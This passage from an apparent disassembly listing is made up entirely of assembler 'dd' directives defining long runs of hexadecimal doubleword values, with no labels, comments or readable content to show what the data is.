		dd 0B6066EA3h, 5EE800A4h, 13D14A4Dh, 33EE901Eh,	0A2A3E607h
		dd 0D7D079FBh, 4EC258h,	0FFE7B1D8h, 5E357175h, 24122716h
		dd 85DEDF00h, 5BAD8Dh, 0C361DFAh, 604E927Bh, 5A17D20Fh
		dd 0E510A0E3h, 700585B4h, 2528006Dh, 4BC05ED0h,	3A001F7Bh
		dd 0B899F95Dh, 0E28743h, 6DC276Bh, 4254E98Ah, 0BE823200h
		dd 96DAC330h, 3472E55h,	31803B30h, 2824E2FEh, 4600DE49h
		dd 86F744FAh, 708FC678h, 98351BF1h, 279080A0h, 0C4051399h
		dd 4E6ADB6h, 8FCCFCC2h,	0E3F44090h, 0E030A551h,	284F1E2Dh
		dd 22FFC988h, 0EF469C00h, 5E00396Eh, 3B0EA1BBh,	7CDD093h
		dd 0A41D220h, 620DD072h, 380078ADh, 7B6CC150h, 15E519h
		dd 0A63D7C2Ah, 0F871741Ch, 0F1A8F604h, 0B4C87577h, 0C4C1EEFh
		dd 7E52006Ah, 291A03F0h, 16590126h, 0ED255700h,	39DA673h
		dd 58C64881h, 0F6A02DE3h, 0AF7CA26Fh, 44002CF0h, 0B678B71h
		dd 7202B348h, 3D52006Ch, 0C710278Ah, 49005F04h,	0D19EEC9Bh
		dd 24AA126Bh, 0BC541441h, 0F7ACF080h, 18CE4A85h, 3983E80Ah
		dd 0CC01B454h, 0EEB3A51Bh, 0F0A4E2E4h, 6193008Ah, 782A032Dh
		dd 1513BC25h, 2400F287h, 6B225DABh, 1B3008Eh, 6DA28498h
		dd 21C07E9Dh, 0F918E09Ch, 0D1C40CE1h, 771926B5h, 2C583700h
		dd 910FB38Bh, 0D3A014ECh, 441EC0A7h, 0CAF0C6DEh, 295CB142h
		dd 0CDD500C4h, 0F73587E1h, 0FBB82Eh, 539FF596h,	84BE9A77h
		dd 9331E09h, 93B6871Bh,	4D2B2620h, 3774129Ch, 0AF34001Fh
		dd 34E920CEh, 2BF4500h,	7A3E9412h, 575E00A2h, 0F693D214h
		dd 680B5CD9h, 87909DE2h, 54C002D8h, 0DF24FCh, 2A51CA18h
		dd 0B3D5BFA1h, 0BD75E100h, 2988C894h, 0ACF900C3h, 5B8C6F34h
		dd 0E801858Bh, 0DC8AF5D9h, 9460869Dh, 0F067BBDh, 48C77D93h
		dd 0B5141C00h, 0F60F26A4h, 0A0048BF5h, 658D6E6Ch, 0FA2B00A9h
		dd 219CDCBh, 0FF00E89Bh, 0B8B0CE39h, 0E4D43379h, 14000E5h
		dd 57CF7587h, 5F0052F3h, 0AABD86CDh, 3E6B0949h,	6C8FDEF7h
		dd 6F46B262h, 0BC01F87Dh, 3E164EA1h, 5070CED6h,	0F5D700F0h
		dd 5A9DED0Ch, 0E0000F8Ch, 0BA67853Ah, 18DE9C5h,	0D950A11Bh
		dd 0D0770C9Ah, 0CD020378h, 87642C57h, 15EBC08Eh, 0F354007Ch
		dd 0A895629Fh, 0C70522BCh, 191DB63Ch, 0D95D9080h, 0D3240235h
		dd 0C695FF5Bh, 0A20EF4A4h, 4478FC38h, 0FF17C8B2h, 0F060D544h
		dd 1D0CD46h, 7812BD10h
		dd 83664F3Bh, 0B07A4418h, 0D1D6A023h, 0FAC9A9Fh, 5372A114h
		dd 55BAE501h, 25F0D3CFh, 1B0BB035h, 80394D7Eh, 0C7E43AD2h
		dd 9E120F76h, 9A211796h, 81EBC44Eh, 0E5FF5548h,	87D2D0F5h
		dd 0E8830F44h, 1A69329Ch, 0C8522590h, 0EDBC9200h, 223E2AC5h
		dd 442005B0h, 4505DD3h,	0A4334C20h, 0F7645360h,	0BF02DBA0h
		dd 14805F5Dh, 8BFCFDA4h, 84C3CB00h, 0EDF9164Bh,	31C6009Eh
		dd 0E7BBB3DBh, 0BC0032DDh, 7D0EEB43h, 387996h, 0D2D7F353h
		dd 0F51EEAFEh, 9AF3C00h, 1228E729h, 0E6CE00D3h,	0B29F96F7h
		dd 0EA0AE8C4h, 8DFA63BAh, 0DF91A000h, 0E7A91Fh,	16DEE940h
		dd 936671BCh, 0CFCE1C1Bh, 402AD2B9h, 0CC7555Ah,	0DF5D72E5h
		dd 21C0C508h, 8386229Dh, 4F310371h, 0D6BA12B7h,	0DF94D907h
		dd 0B4802CCEh, 4B458Bh,	0D22E08D8h, 0A0F91B7Ch,	44DD0F1Ch
		dd 9DC1E95Dh, 8C4771A3h, 69A5A1E4h, 898010EEh, 9FE66880h
		dd 58BB6930h, 0EC7F7623h, 0E969C2C7h, 0BF600FBFh, 9F19B0BAh
		dd 0D208B24Ch, 47062180h, 0F5E0D910h, 501A6B00h, 0C9BDA82Dh
		dd 8E510633h, 0D1D1C8E8h, 0AD40F480h, 0EF20A660h, 80C25621h
		dd 45317988h, 0DD4818AEh, 0DE77A1F4h, 7A160060h, 60ED0F54h
		dd 0F5332090h, 1030890h, 5482AC21h, 20F4740Eh, 45309986h
		dd 6EDBE0E7h, 3E0840D4h, 0EC05A115h, 14760D84h,	0F0B1180Bh
		dd 1006D828h, 0F8CE736h, 25EE886Ch, 3DEF2640h, 52003092h
		dd 0D10F8FBAh, 8D0E8Bh,	7C4C9CFDh, 0A15509EEh, 204DE900h
		dd 9BDB5F1Ch, 0E3A30063h, 0F254262Fh, 0D95818CCh, 44017AE3h
		dd 9CECFF1h, 33207475h,	6F250082h, 0E39E9060h, 5A00A684h
		dd 0AE61A2D4h, 156C4AAh, 98B6754Fh, 20E685B7h, 0F40024BAh
		dd 0ED26ADABh, 3ECED1E3h, 2807D5Eh, 0BED74727h,	0E0007948h
		dd 344192C4h, 0C5154Dh,	4594C9B8h, 0F7134938h, 91D7B600h
		dd 0E1263744h, 0C8D60F4Ah, 5BE0CEF4h, 0DCAE7357h, 2EFAD00Eh
		dd 0AD84205Ah, 7BCA90h,	0AB5D3038h, 0B06BA0BEh,	0DE26DC00h
		dd 6EC9843Eh, 0EF4A3F24h, 0A304280h, 90AFF958h,	4923DA0Fh
		dd 0C9E70016h, 3DACE396h, 9806CF3h, 0E8DDCC8Fh,	99004AF0h
		dd 7695E6B9h, 3D960AA2h, 1700081Eh, 901BB7ABh, 89750E84h
		dd 0AA45FF00h, 0E68F4E97h, 0AE1C18B1h, 0B7C462F8h, 429DCA00h
		dd 0B36578A9h, 532E0046h, 10020BA7h, 0CF00ED18h, 8AA29E15h
		dd 74CE0530h, 57BD0255h, 379533Bh, 0B2AA6C81h, 0B640805Bh
		dd 3B299E58h, 431C000Ch, 0D53DF4CBh, 0FF01B33Fh, 0EE61346Eh
		dd 0BC46E0CFh, 276D0048h, 554E445Ah, 76073AEDh,	21B7D3C1h
		dd 88972ED3h, 17B323h, 0AB3FA763h, 0E41F0D87h, 9942600h
		dd 9DDA0FEBh, 0ED4A14F9h, 76D672h, 1CE57F41h, 1A112ABEh
		dd 57694900h, 0DEE0AEB9h, 7C2E0037h, 2783DCCEh,	0F1E3BDFAh
		dd 6B19ECD5h, 31A65A00h, 0C27025A5h, 0EC58908Ah, 0B2C40FD7h
		dd 2740D4E4h, 856A4092h, 0AFFB0C2h, 89664044h, 3B1800D6h
		dd 660E5146h, 950784E1h, 0B14B8811h, 6E6FAB0h, 708900D2h
		dd 91BA9BA2h, 2A756D41h, 0B7E0A8A0h, 5E4E0500h,	9960DB70h
		dd 802A9024h, 0F6E1ACh,	0A444503Eh, 0BB9849F0h,	32289618h
		dd 2E7FC521h, 540156h, 8E1485DAh, 8916C69Fh, 1006751Eh
		dd 0B0569Ah, 0E6D47A4Fh, 0BEE39229h, 481B0203h,	0B78F814Ah
		dd 0ADDD6BB0h, 741502C2h, 0F29BF6BDh, 5F35F1C0h, 72541E00h
		dd 8785372Ch, 80DCABE3h, 5533AEEh, 0BA3FE8E6h, 8CEC0FE1h
		dd 9B2B2020h, 183AECEBh, 0D0160080h, 2FE9660Fh,	1D789D37h
		dd 6A6F1700h, 0D2C84FB4h, 86849E2h, 45F659D8h, 0A630677Eh
		dd 29AFC935h, 2AD40007h, 7517C528h, 0B800B9DBh,	33877250h
		dd 0A934C2E6h, 0D0C8BAACh, 6C1A242Dh, 0C2C00C9h, 88CD7B2Ah
		dd 99009DE2h, 0A5613522h, 1E8E8B55h, 4304C6F1h,	0BBCDE270h
		dd 6D17000h, 0E482161Bh, 98B403BDh, 0F53729A4h,	63A39580h
		dd 2A308D00h, 0BD245499h, 7E8DA067h, 0BAC500E7h, 0E6FBEA20h
		dd 0EF0055B3h, 9DE03DB9h, 16AAECDh, 0E7185E57h,	80EAF2FFh
		dd 970EC841h, 3ABFCBFDh, 5700AED9h, 6FF98F8Eh, 2FE8B687h
		dd 43927850h, 0CB1FA101h, 0A4D1D0Bh, 0E9921ECh,	0D47315B4h
		dd 717A1800h, 0F4009433h, 0A28EAFE9h, 969C2Ch, 0CE16B622h
		dd 3075ECBh, 0F4B3541Ch, 0E379EFC0h, 13A040A2h,	453244h
		dd 73034ED6h, 97005A1Ch, 0AAEA7EDCh, 0F87CD035h, 0E8700084h
		dd 0A367810Ah, 0BD6013B5h, 58399E8h, 44A70082h,	0ED7BA512h
		dd 0B102DC01h, 64549DFh, 0E025E3A6h, 130E1AE0h,	378ED07h
		dd 153B80Ch, 38FBE600h,	183240C7h, 3C6B00FFh, 7894EC62h
		dd 0C8001CB3h, 7302441Bh, 950AE5h, 0C021BF69h, 42BA6EDFh
		dd 47E96200h, 0F7C90ECCh, 0B764003Bh, 3DD813EBh, 5E009958h
		dd 0DE23DBB3h, 0E015FFh, 0C47280C1h, 42CB28F0h,	741DFD00h
		dd 7E88C579h, 65715CF2h, 681AAF00h, 240C30A4h, 282EF100h
		dd 1B555013h, 0F22504CEh, 0D049985Bh, 2AA5E894h, 59F1B308h
		dd 8C80805Dh, 0C6015EE7h, 42814000h, 11FFD5C2h,	3820E5BBh
		dd 4D16005Dh, 5E831299h, 6008B22h, 1C18D531h, 26AD8914h
		dd 37CCB61h, 69B7A3C2h,	0A26A581Eh, 874FAB83h, 1C2393F0h
		dd 89AAD638h, 882052CAh, 5798B897h, 69D7E302h, 603D5604h
		dd 0DC8138h, 9AF9B0F0h,	0F77FA833h, 14FD8A4Ch, 0A075A2h
		dd 91B8AE28h, 0AE416h, 7CBE3940h, 557EAAEDh, 50E77F00h
		dd 0E93181D5h, 0FC15005Eh, 0FD1872Ch, 0B30012E0h, 245369A7h
		dd 797BF23Ah, 40751FEEh, 102340C7h, 0CAE3457Ah,	2F3E841Eh
		dd 0F004024h, 7F06F37Ch, 9EC4024Dh, 225C7968h, 0C7375440h
		dd 0E6E2D703h, 0F03349E0h, 0DDCF72h, 0BCC512EAh, 2D485FD0h
		dd 1002EF8h, 644FBD1Bh,	3D3F55B9h, 26008C75h, 58046B13h
		dd 31F80330h, 0CBBF4D0Eh, 4A4040AFh, 3DA4C33h, 0C5A92AE8h
		dd 0C3A0704Bh, 0B124DFB3h, 5C03DC08h, 803AFC0Ch, 7D611F81h
		dd 1DA30051h, 809CD7F1h, 0FB26C87Bh, 32007137h,	5AEB4515h
		dd 0F6130059h, 556CB9C6h, 0EF011610h, 82614AFDh, 0EC46AB5Bh
		dd 571F0538h, 0C227A0h,	5D8AF6E4h, 2606F2FEh, 803A0A91h
		dd 24810268h, 72A0E590h, 449F46E0h, 869ADCF5h, 6D6CC400h
		dd 6A59EE8Bh, 0AF9E003Ch, 1C49E784h, 56008357h,	7C043B6Bh
		dd 6E8DDDh, 3736E0AAh, 632152C8h, 1F005F75h, 0EE97F246h
		dd 0E40E5582h, 9AAD005Ch, 32E6CCE7h, 0CA008666h, 4A0C2353h
		dd 8D673h, 9B5C6D7Dh, 58611219h, 0AD2B801Dh, 850651D3h
		dd 1E207ADFh, 0C2DDBA72h, 9F4E24E2h, 1DD5CF80h,	530038D9h
		dd 0C725EB99h, 0D02ABCh, 8C3B4F51h, 0E5F0AB15h,	6E29D801h
		dd 46FA8A63h, 3D2874h, 5EA09B71h, 0EEA9886Dh, 330AE300h
		dd 0B0856E6Fh, 6EF07FCh, 0A0647137h, 0F89DFAB2h, 7823907h
		dd 78BBF6Eh, 13803B78h,	5F91C7Ah, 89B4D6F0h, 0E658D07Dh
		dd 0CA3F3FCEh, 0CCF78E6Dh, 0C3A38275h, 0C37CC3ADh, 0E0E4E365h
		dd 61745FD8h, 0D0D49947h, 750834FCh, 8527C707h,	5140CF77h
		dd 1F64B644h, 0D7717Ch,	0EB3FBCE6h, 30C02374h, 0D4DF1CF0h
		dd 48F2E97Dh, 0DFAF5E0h, 52C336F2h, 3DC6E088h, 1042FC00h
		dd 68BC4B1Dh, 18BB50F8h, 608850B4h, 0DF1400FAh,	6C7ED0EFh
		dd 0F500225Bh, 0FC5E9697h, 0C846FDh, 28A79CA8h,	22883AFBh
		dd 0E98C00Eh, 615DA124h, 41E0F31Dh, 6F00046h, 0B43132CAh
		dd 1B00E58Ah, 11C9A84Ch
		dd 0FDA79Bh, 9854F3EFh,	0E5C87F2Ah, 0A65DFC00h,	409D5EB8h
		dd 6C4E3D86h, 0B7227B80h, 0A41AEC9Bh, 0D132F00h, 2C92EDDDh
		dd 0C8830FD2h, 0AAA052EFh, 7768A620h, 8FB12104h, 0FF2349h
		dd 6B081081h, 2F1C1471h, 9D07DF5Fh, 261062B6h, 3F44607h
		dd 0F763ADC7h, 25E8BDFEh, 0B900CE68h, 515C9416h, 21A90Dh
		dd 0A13449CFh, 8BEF5BE5h, 8123800h, 2248D713h, 0A1589443h
		dd 0A0FEC004h, 0B00098E2h, 0E64821F8h, 366CA3h,	0D83BFBDFh
		dd 68507970h, 6ED21324h, 0EB08AD03h, 953858F6h,	0CCD044h
		dd 6DC067FCh, 58B0737Ch, 38D40400h, 0F3413652h,	0DBE418C6h
		dd 8FE020E5h, 4A893A14h, 0F64F720h, 4579ED60h, 80982348h
		dd 0F6B98233h, 1DA506CCh, 8BDD43Fh, 0A213C60h, 0E3B98Ah
		dd 7CAFF361h, 0D5F5B31h, 56D96200h, 0A6E56DB4h,	88533CA1h
		dd 1883AAAh, 4726FCDBh,	0D81DFFBCh, 8CC07B4h, 0F42130h
		dd 0A3D02604h, 8F57CF5Dh, 0EF03D37Bh, 77C4CCC6h, 71C00E3Bh
		dd 0B0556C7Bh, 559E3A00h, 4265D27Ah, 4D0C114h, 83F01CB4h
		dd 6BAC0FFh, 0BFED795Ch, 0F60CC1B6h, 793D7772h,	5098183Ah
		dd 5C833814h, 15114219h, 0E8D05F61h, 1166606Bh,	0F07A4319h
		dd 0DF0C54E2h, 83CF847h, 0BC21C04Fh, 0B7A97A4Ch, 0F56AA80Fh
		dd 0B9428184h, 6086FB20h, 79C2D759h, 137ED90Fh,	0F302805Fh
		dd 1DBE0580h, 5248F774h, 0F4080015h, 0C7C6DD7Eh, 0EB616B60h
		dd 2134212h, 82D99E5Bh,	0A402A017h, 92D60210h, 60B6BC84h
		dd 234126EEh, 2D11EFBCh, 26F6FA01h, 6A935E9Eh, 0A01F4BF0h
		dd 10CC89Ch, 2CEA31B8h,	433CC3CCh, 8D1B6C0h, 0AA0804Fh
		dd 0EB09715Bh, 0FB5E0402h, 80FCF87Bh, 3F8670B6h, 2F462C90h
		dd 0A1B98013h, 2E2C58CEh, 881488h, 665432BAh, 63419AE2h
		dd 9816B006h, 0CE019F4h, 28648BFEh, 0C90F40A0h,	80208D99h
		dd 5F83CAF8h, 16EF3A8Ah, 6D890D0h, 287BF0C5h, 0BC0C3020h
		dd 48F34CB0h, 3DACCC3Bh, 6C2AEA18h, 7600B077h, 3CD5D6E8h
		dd 0FFF308h, 4CF02BD8h,	7B0B80B1h, 0A309DA00h, 0DCC4652Ah
		dd 51E013E9h, 68C440FBh, 0EE3EE521h, 0B8050FF0h, 4214AEC5h
		dd 0B2F86020h, 90501FB0h, 0B4994668h, 0F402182Bh, 0D4A25B7Bh
		dd 449C47FBh, 0F4E6033h, 0A0DFFC91h, 29ABFE80h,	894379Ch
		dd 8C2851A8h, 9306420h,	17C0C8BCh, 8CA39821h, 0A0A10333h
		dd 5016DD5Fh, 0E6C10B8h, 0B603F437h, 4584C93Eh,	41540005h
		dd 0BFC8ADCh, 224031C4h, 0A8770680h, 62284B08h,	4A809005h
		dd 2BD4F101h, 4CDCECC8h, 58118042h, 7C720D10h, 645B594Fh
		dd 4D6F0EC0h, 0C4557BFEh, 0B7489180h, 4226FD80h, 448CF7BCh
		dd 500F937h, 3EAC4626h,	9298978h, 1C7499AFh, 383DF890h
		dd 3328B600h, 0C2123C24h, 0EA540093h, 21FEF499h, 84A487E7h
		dd 1B38524Ch, 8011F9D1h, 38E86F2h, 7D27F777h, 831FF5Fh
		dd 0EA392103h, 0C38360h, 0B1B7E9EBh, 8EE12146h,	4C83A50h
		dd 0E4E01083h, 0C08B882Dh, 0BC3E26F1h, 2F22D746h, 26F9FD00h
		dd 0D9BE1792h, 90BA0DEBh, 205803ACh, 0D220B894h, 0DBD30366h
		dd 0BCC87D47h, 0EE8B2100h, 35515956h, 9EA4009Ah, 0E205EB40h
		dd 0D773D60h, 0BEC4ED03h, 0A0F34229h, 0B43F21h,	0EA881D17h
		dd 487767D7h, 0F84DED28h, 73EC5209h, 86ECAFDAh,	7181799h
		dd 6680FCC0h, 6BDDC260h, 18302461h, 0F3B90881h,	0B1CFBDCCh
		dd 0BA891300h, 95AB6C61h, 0D103990Ah, 8682B0F1h, 8EF0B865h
		dd 97D36097h, 1B7440Ch,	0E9A45557h, 20CCF13Eh, 982CBCE8h
		dd 0F4820CC8h, 8025AC73h, 0CB919DB8h, 0F3EB0A8Fh, 7804B89h
		dd 0ECF10F72h, 0BE289D08h, 9C0F8036h, 0A5826727h, 0F0C07758h
		dd 9A508B7Eh, 47A10560h, 42356072h, 41C2C6CCh, 0AD11C48h
		dd 0B309B1C0h, 49DABBh,	0BF0CE8FAh, 0D0152052h,	1337100Eh
		dd 51F1C0ECh, 61A365h, 27CF60A9h, 0E32569AAh, 0E9E05C16h
		dd 7A426060h, 996A98FDh, 4BA7C060h, 0CC00BB7Ah,	6C7075C9h
		dd 0FEB8BC3Fh, 0CC1789F1h, 9A4089h, 3E4FEC14h, 743F26E0h
		dd 26109008h, 80EE119Ch, 0F0F27A3Dh, 0BA008764h, 11777A46h
		dd 128A0005h, 90BC2FCAh, 22801A24h, 0D10899B0h,	961831h
		dd 0C839CF7Dh, 0A3FE3EEEh, 0C0235C28h, 766C9B18h, 3604B81h
		dd 5D0E6342h, 0B08A961Fh, 560085D4h, 0BCD3119Fh, 0ECE900A7h
		dd 66F419FAh, 4C90D75Dh, 8E014946h, 85CCF2B9h, 883D0C1Ch
		dd 0BA1FB606h, 0F7002576h, 9FB789DFh, 0BB32165Dh, 34500462h
		dd 0B5F803FEh, 0C6C91A13h, 78C041BEh, 3366DF35h, 46809B10h
		dd 0B9830146h, 1DADCCF5h, 9883A0Ch, 27BA048Bh, 943DF245h
		dd 0E1C08354h, 0C011CFB2h, 6400AB17h, 3AC6918Eh, 10581858h
		dd 78FAD0h, 50EDE5F5h, 0C19C9B5Ch, 0B03E1728h, 0E088322h
		dd 0FDBA8A94h, 0E058D782h, 0DBE424E0h, 0E242C240h, 4953B0C9h
		dd 0EA231804h, 0EE7A4101h, 0DE1944F0h, 7A4AA620h, 0D5130EBCh
		dd 676ECDACh, 776E2300h, 727F3FFEh, 0DC02F0B9h,	90C50B8h
		dd 0A8919C01h, 0C5087528h, 35F00012h, 30CC71C3h, 79A0E127h
		dd 723E2B7Eh, 11C4527Bh, 0B70067C7h, 134A7E3Fh,	0E124A659h
		dd 465E785Ch, 0DA200A4Bh, 0B03DACCEh, 0F4738914h, 7EA0A024h
		dd 567D090Ah, 0CC83EA9Ch, 45A44746h, 0A0045F03h, 0D1049B57h
		dd 5418D0EEh, 6A0059EFh, 0D516D8ABh, 7A1C250h, 0CCDB0D29h
		dd 0D429FBF4h, 750A1080h, 64504256h, 0EA88A58Ch, 0C7CC15BEh
		dd 2864D42Eh, 0E5D0C171h, 20FB0016h, 95401873h,	0E242107Bh
		dd 18EBCA3Ah, 0D789EFFAh, 9C9CA8C7h, 9B950EC2h,	0B3A0690Dh
		dd 19A9F63Dh, 1D3FBC18h, 804B7958h, 2733ECBEh, 0E2DD7824h
		dd 8008CABDh, 0EBFB04BCh, 0B94B0A2Dh, 34D05Ch, 0FEA832A9h
		dd 0B5004A8Ah, 0F17E7F50h, 798DE40Eh, 0B411007Ch, 51F41D47h
		dd 0F0B7BD0h, 106980A8h, 80CB9740h, 0AC2C5556h,	420338DDh
		dd 8C53AFEAh, 0E7108850h, 4EED02DFh, 41A07E65h,	81158008h
		dd 42C3070h, 0A688481h,	0E2C02209h, 8BD73040h, 0DD030C72h
		dd 0E4A871C6h, 6CB03B73h, 167029E0h, 0B901965Ah, 22CAC2D6h
		dd 8742C8Bh, 0B94A6123h, 0C190A04Bh, 4209CC5Bh,	0D28B918h
		dd 4718398h, 1BEC3E7Bh,	5078932Dh, 0C4E8769Ah, 0CB8F8ACh
		dd 90EDC22h, 0B6032C6Ch, 149B8902h, 0F0775C78h,	2EC9C5Dh
		dd 0BE85B140h, 0C9D86027h, 18E6F4F2h, 202118A3h, 4A14D73Bh
		dd 0F120EA30h, 0D018C224h, 97F4F854h, 7F626F1Fh, 0C0F0833Ch
		dd 24B1C40h, 4CAAEAE9h,	6B40C3BBh, 0DE8D422h, 4F0A2CE2h
		dd 0D094423Fh, 303BD808h, 2FCDE10h, 3F963A09h, 1BE4E81Ch
		dd 0EAF51DE1h, 0DA6543ACh, 66C8CF7Ch, 6B011DF8h, 0DCCA6ED4h
		dd 0CDD03A4Bh, 0C58B00A2h, 4A060B56h, 11C0A6D3h, 0A44B1526h
		dd 91AF00E5h, 4E308309h, 195D585h, 0AC8E1834h, 1E52B420h
		dd 6E762Ch, 1277FE41h, 0F7036F5Eh, 69014890h, 855FD82Ah
		dd 0F4662CA2h, 74380023h, 0F0A69C20h, 391DA501h, 0F1E6648Ch
		dd 0F8038C7Ch, 0B478592Fh, 44774080h, 8DD2C228h, 3A52481Eh
		dd 3BF2C400h, 358F75Ch,	0DE711BA2h, 103E9120h, 5BB4808Ch
		dd 807914D0h, 0B0527841h, 1F01EC17h, 3F239Fh, 2175DD6Dh
		dd 4A00F99Eh, 77EEBCB1h, 0FC41CC56h, 9C9C4986h,	2EF10630h
		dd 3B6162C0h, 0C6DBA831h, 3A984BF8h, 0A4808BEAh, 0E1B77486h
		dd 3701DFC9h, 0F4CB7CC2h, 8C788955h, 0FA981C00h, 0EE609181h
		dd 7E88CF00h, 0C9C28B8h
		dd 4EE64B66h, 0D2A0D944h, 529206C1h, 0D7BE7100h, 0EA1BC97Eh
		dd 0B36100F6h, 26E76068h, 1700A110h, 0DB6E0FCEh, 2C719Dh
		dd 754AFAE3h, 2AD83836h, 83BAA400h, 0C25659CBh,	0DAA94AB1h
		dd 568C0008h, 8F597860h, 0F7890061h, 0CE6B6824h, 50B5AB49h
		dd 0D37BF0h, 7097CF2Ah,	81362A8h, 728BD000h, 298485ACh
		dd 0D86D1542h, 4418A060h, 712B70E1h, 0E9DECE03h, 0B023C411h
		dd 282D4887h, 18C03B4h,	771FAB59h, 439522D8h, 0FEF042E4h
		dd 2E7C6415h, 0B34F9D0Ah, 0B780C067h, 762D65E4h, 0AED40068h
		dd 0C76BFFE6h, 19005F4Dh, 0F24ED7FCh, 8F403Ch, 0AB2A8BC2h
		dd 3DA96F23h, 1399AD00h, 1B123447h, 4D3B84Eh, 0E1BFD59Ch
		dd 7E4080EBh, 0E53CCB89h, 80108164h, 0DB3C2C73h, 5403D050h
		dd 0C671D3h, 274213A9h,	901A2D06h, 47838D00h, 12651820h
		dd 0B456310Ch, 213E3B50h, 2D6C00Bh, 7447C0C0h, 0E85DF5h
		dd 6F325EFEh, 6B1BF79Ah, 0AA68E200h, 8653A7A1h,	8FE838E1h
		dd 96CB7200h, 4752272Bh, 0A5B15117h, 2670A02h, 7304864h
		dd 37900905h, 0A423CCEDh, 80CFCD94h, 35B42A9Dh,	707E5F24h
		dd 8024CE88h, 754DACFBh, 0AD795416h, 0E4BB2F00h, 0FF69134Ch
		dd 0E1471817h, 0DF56E1D0h, 7C99D300h, 7FAC7857h, 22BECF4h
		dd 7391CCFDh, 0D0A043B7h, 0DB9C893h, 2A983Eh, 4C7E5764h
		dd 14D0B3Dh, 747D5B97h,	0F43C55D6h, 540F2B45h, 20B86975h
		dd 5A38FC24h, 14D43D2Ch, 0CF1C5000h, 45A39470h,	783C6AEEh
		dd 0F2588099h, 0CC6E614Bh, 0DA0C00BAh, 0FD8B0915h, 48006DB3h
		dd 0DEE8D412h, 9B644A2h, 0CC7B76F4h, 660E7C80h,	63031146h
		dd 0FFB9C5A4h, 86D1127Fh, 0B50C070Dh, 906A60CEh, 5C009721h
		dd 8353F481h, 2CE51909h, 0BE602B0Fh, 436B2781h,	0CCCCA75Ah
		dd 8E396A08h, 4EFB0035h, 29A38F34h, 0CBE0076h, 1547AD17h
		dd 0A5792B21h, 79D89600h, 0E4447F25h, 665000AFh, 0ABC29214h
		dd 7A07F229h, 0D090EF39h, 6D8869E0h, 95BC00A9h,	501DDD68h
		dd 0EE1E3B56h, 34C3D3A3h, 0E0634667h, 9217160Eh, 53A90254h
		dd 2B819715h, 0B01C2C5Ch, 0A6A06870h, 68AF4CD6h, 8060B626h
		dd 0B09B4DA9h, 8878E977h, 0BDA30900h, 4F07C46Dh, 293F6098h
		dd 26FE20Eh, 50408F4Bh,	373A4FE1h, 0CA490058h, 9707F412h
		dd 0DF00FBC1h, 778FF787h, 0BBCF94h, 0F0A9443Bh,	0FC0DAEE1h
		dd 80EF5539h, 18880E84h, 70761C0Ch, 0E89509BBh,	3C587E39h
		dd 26CF1A00h, 0F5805CF1h, 0DBE007Ch, 8F53C065h,	6F002454h
		dd 43F84AE7h, 0EAB22B58h, 0CC261C1Bh, 2F0140E6h, 0E018FE6Ah
		dd 3D786F00h, 0A3480220h, 355FC7h, 8C617C98h, 6EE4DD7Fh
		dd 25B59200h, 3FE7652Eh, 3CB439F6h, 80A50D1Eh, 0A139A91Dh
		dd 8EA0259Dh, 0E555F6EDh, 0AC288E8Ch, 3E6E4012h, 2FA12995h
		dd 0E8B8826Bh, 4804E01Fh, 0D3F4A019h, 5C26DCB8h, 591100C4h
		dd 3D8174ECh, 8D3A8800h, 0FFB46112h, 0C2DF2594h, 0EC6E78E0h
		dd 0CCA42E00h, 425A35BBh, 69DA00ADh, 1A795E74h,	3B00F160h
		dd 6562B1D1h, 0F7AC7Dh,	94C8E19Ch, 7B699E77h, 0FDDBCB1Dh
		dd 0E8D06A53h, 28A8C34Eh, 0ED4D154h, 455541F7h,	0BAD2C463h
		dd 393AC39Ch, 0E9D0BEC9h, 4B5FF8CEh, 0D9AD6707h, 5DD1FDC1h
		dd 0E5E0794Dh, 0D075D5h, 4F04727h, 376BEBDFh, 0C7894BAh
		dd 413C1495h, 0BE2850F8h, 441D1D17h, 24282FBCh,	9BDFFC12h
		dd 4B12C300h, 17BC8EFh,	790F744Dh, 0BBF751FBh, 0DF77061Ch
		dd 0B30E627h, 4C2F8E47h, 0C354B091h, 0F078BCB0h, 0FE541766h
		dd 0C5035CA0h, 4CA53825h, 0FA4C0C48h, 0FE6EEF48h, 0D5F0E1B8h
		dd 0E6088AB4h, 0CA3FB500h, 6CF71C65h, 113FE46h,	0D50AE52h
		dd 0D9A9BF8Dh, 38302AA4h, 7DF479h, 0FA3DD8FEh, 0DC5312Dh
		dd 0AF72F81Dh, 93380Fh,	0E7783E5Ch, 0FD2C00EEh,	0D9F55821h
		dd 0F60037ECh, 0F9617A2h, 57142A8h, 4EAFFFF8h, 0C7E6006Ah
		dd 13407612h, 0D23C360Ah, 41008EE6h, 0C15C24FCh, 80ED0034h
		dd 66639E7Ch, 0C0061A2h, 5535E5AFh, 0DBA19h, 0B08BEE4Dh
		dd 41E0841h, 781F5790h,	0F980F05Fh, 88B52C77h, 0AA4F000Fh
		dd 94167D93h, 511C6CD6h, 400EF1Bh, 5CEFDBAh, 2F3D0013h
		dd 3921C622h, 0C1134046h, 9492A9CFh, 7A4730E4h,	34F0FC11h
		dd 0B8804A88h, 0AE947A30h, 6CEF1B9Dh, 78C11970h, 118CD4D3h
		dd 8E737C00h, 7F714077h, 2F385AD2h, 92F23B8h, 6700F3B0h
		dd 0B7299B96h, 0F442C60Bh, 0B808C8F6h, 8A134050h, 0C1B3FC01h
		dd 0A7047C6Dh, 5CA82184h, 0D8EB2112h, 0F2A4A305h, 0DACD3001h
		dd 1458EE12h, 0D1B63903h, 0E02100F0h, 3AB8B33Eh, 9F0097AAh
		dd 0B4776E93h, 0F68AAB15h, 55671EDh, 8D48DD81h,	4A8C224Eh
		dd 8B98F30h, 1C8DCCF1h,	15433964h, 0D6BFBAB7h, 0DD394E71h
		dd 3CA80C8Fh, 0E2CC501Fh, 37C89C93h, 0B242FE0h,	74A92Bh
		dd 1E2C2D5Eh, 1E55962Eh, 810127E8h, 0D1D4F9CEh,	84182056h
		dd 201F6A00h, 1597E43Fh, 2922007Dh, 0BDB8B2DEh,	0D9002AF3h
		dd 30EE64A3h, 41CA14h, 56055810h, 8FDA45Fh, 3D6B900h, 90F6AB65h
		dd 8A1F0E75h, 8FA0A8BDh, 761B7F93h, 8DDCA600h, 1D492DB8h
		dd 0B55D0028h, 2FD1A4A1h, 5B03261Fh, 0ECA5A2BCh, 5A2EE08Ch
		dd 0A7180E81h, 26600AD3h, 0B2148546h, 0CA0BD800h, 0C8B6237h
		dd 308792Eh, 9EC2E4DBh,	4690A3A4h, 0D200F66Ah, 0FC8F401Ah
		dd 0EACCA9h, 755ADB10h,	79FA8499h, 0DEEC3C4Ah, 43E80704h
